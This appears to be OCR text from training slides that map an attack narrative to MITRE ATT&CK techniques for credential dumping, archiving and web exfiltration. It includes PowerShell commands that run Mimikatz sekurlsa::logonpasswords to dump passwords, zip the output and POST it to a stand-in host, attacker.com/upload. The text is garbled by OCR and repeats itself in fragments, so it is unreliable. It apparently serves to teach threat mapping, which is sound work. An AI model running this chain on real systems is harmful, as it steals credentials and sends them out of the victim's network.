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° The attacker dumped plaintext passwords from the victim's system
and saved them to a file.

This file was then compressed and encrypted with an attacker-
specified password.

Finally, the compressed file was sent to https://attacker.com/upload.
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The attacker dumped plaintext passwords from the victim's
system and saved them to a file.

This file was then compressed and encrypted with an attacker-
specified password.

Finally, the compressed file was sent to
https://attacker.com/upload.

T1003 — OS Credential Dumping

T1560 - Archive Collected Data
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T1567 - Exfiltration Over Web Service
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e The attacker dumped plaintext passwords from the victim's
system and saved them to a file.

e This file was then compressed and encrypted with an attacker-
specified password.

e Finally, the compressed file was sent to
https://attacker.com/upload.

° T1003 — OS Credential Dumping @ sckurlsa::logonpasswords
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. Compress-Archive -Path "C:\temp\creds.txt"
T1560 - Archive Collected Dat e
e\ rehive Loflected bata -DestinationPath "C:\temp\creds.zip" -Force

e T1567 - Exfiltration Over Web Service e Invoke-RestMethod -Uri "https://example.com"”
-Method POST -InFile "C:\Users\user\Desktop\file.txt"
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the victim's system and saved them to a file.

e This file was then compressed and encrypted e
with an attacker-specified password.
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$creds = Invoke-Mimikatz -Command
$creds | Out-File C:\temp\creds.txt

sekurlsa::logonpasswords™

Compress-Archive -Path "C:\temp\creds.txt"
-DestinationPath "C:\temp\creds.zip" -Force

Invoke-RestMethod -Uri "https://attacker.com/upload”
-Method POST -InFile "C:\temp\creds.zip"

sekurlsa::logonpasswords

Compress-Archive -Path "C:\temp\creds.txt"
-DestinationPath "C:\temp\creds.zip" -Force

Invoke-RestMethod -Uri "https://example.com"
-Method POST -InFile "C:\Users\user\Desktop\file.txt"
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The threat actor used a malicious document to drop
PowerShell script, which then contacted abc|.]|xyz and
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